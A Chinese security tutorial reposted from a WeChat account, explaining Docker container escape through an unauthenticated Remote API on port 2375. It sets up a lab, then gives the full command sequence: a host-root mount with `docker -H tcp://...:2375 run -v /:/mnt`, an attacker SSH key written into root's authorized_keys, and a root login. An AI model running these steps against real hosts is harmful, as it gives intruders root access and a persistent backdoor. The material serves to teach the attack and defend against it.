1.3 举例:远程API未授权访问逃逸
1.3.1 漏洞简介
docker remote Api 是Docker提供的一个接口,允许用户通过HTTP或HTTPS发送请求来远程管理docker容器和镜像,这一接口通常用于自动化任务或与其他工具集成。
漏洞产生原因:
· docker的守护进程默认使用unix套接字进行本地通信,但如果配置不当(例如监听0.0.0.0),则会暴露在网络上。
· 如果没有设置访问权限控制(如未启用TLS认证或防火墙限制),攻击者可以直接通过网络访问API,无需认证即可执行各种docker操作命令。
1.3.2 漏洞环境搭建
配置远程访问修改服务配置文件【vim /lib/systemd/system/docker.service】
[Service]ExecStart=/usr/bin/dockerd -H tcp://0.0.0.0:2375 -H unix:///var/run/docker.sock
保存并退出之后,重载守护进程以及重启docker服务即可
sudo systemctl daemon-reload #重载守护进程sudo service docker restart #重启docker服务systemctl status docker.service #查看docker运行情况
或者直接
docker -H tcp://x.x.x.x:2375 images
1.3.3 漏洞检测
访问2375端口响应404,或【curl http://ip:2375/info】路径有docker守护进程的信息,则存在漏洞,说明目标主机的docker remote api对外开放且为设置认证。
/info是docker api的标准接口之一,用于返回docker守护进程的系统级别信息,包括版本、存储驱动、网络信息等。
1.3.4 漏洞原理
1)API 功能:Docker Remote API 提供了广泛的功能:
-
拉取镜像 -
创建、启动、停止、删除容器 -
挂载主机文件系统 -
执行容器内命令
2)未授权访问:若API没有设置认证或限制访问来源(如绑定到 0.0.0.0
),攻击者可以通过网络访问接口,直接调用Docker API操作 Docker 容器和宿主机。
3)权限逃逸:
-
通过挂载主机目录(如 /etc
,/var/lib/docker
等)到容器内,攻击者可直接操作主机文件系统,窃取敏感信息或植入后门。 -
利用特权容器或Docker中的漏洞,进一步提升权限,甚至控制整个宿主机。
1.3.5 漏洞复现
使用fscan扫描发现目标主机开放2375端口,2375端口通常用于 Docker Remote API 的非加密通信(即未启用 TLS 的情况下)。2375是 Docker 守护进程提供的一个远程管理接口,允许客户端通过此端口与 Docker 容器引擎进行交互。
还扫描出了poc-yaml-docker-api-unauthorized-rce漏洞,以及shiro漏洞。
在攻击机上执行【docker -H tcp://10.3.4.60:2375 ps -a】
指定远程docker主机(ip为10.3.4.60,端口为2375)来列出该主机上所有容器(包括运行中、停止和退出的容器)。
创建恶意容器,挂载点设置为服务器的根目录,挂载至/mnt目录下。
docker -H tcp://10.3.4.60:2375 run -it -v /:/mnt vulhub/shiro:1.2.4 /bin/bash -H tcp://10.3.4.60:2375 指定使用运行在10.3.4.60上的docker守护进程,而不是本地的docker 2375 是docker的默认非安全API端口 run 表示运行一个新的docker容器 -it 以交互式模式打开 -v /:/mnt 将主机的根目录挂载到容器内的/mnt目录(容器内的进程可以直接读取、修改、删除主机上的任意文件) vulhub/shiro:1.2.4 使用的是这个镜像 /bin/bash 容器启动后进入bash shell环境。
攻击机另启一个终端,生成公私钥对【 ssh-keygen】
在容器内部写入攻击机生成的公钥
echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDi3k6yN4qFdJRVTlSpapykN4JEK+Igy2wS5tb990EGHTjc2XFpNiH/SDT2tqjOckt0o9aM1bk7R7ReG+ZYl6YmSiVfPtnOMWfgZ/3cZmUdktb/ZEG/cLItHG1UXWyZbxanlOXjzfHYynVyhW+Vze58Bk2FEIZyMEbWq3/Ezrs3o61L9AAbUi+hwJLC02pE4FeWzISuog6r6Sei6Vp3DqrYKNPU08U5I5jvDmvdLH13lBnHNN1dUsHLBY37ZTr5PUW9bDKjM3sZFCIy/rTFywFHFgPVbOl7lc96/6GRya8sSpmlDg43sBapsP4OExkaJVN9gcf5Bn1hp0cAdHI1ghWt root@Attack' > /mnt/root/.ssh/authorized_keys
攻击机上利用私钥进行连接【ssh -i /root/.ssh/id_rsa [email protected]】
成功连接获取宿主机权限。
原文始发于微信公众号(安全攻防屋):Docker逃逸详解(二)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论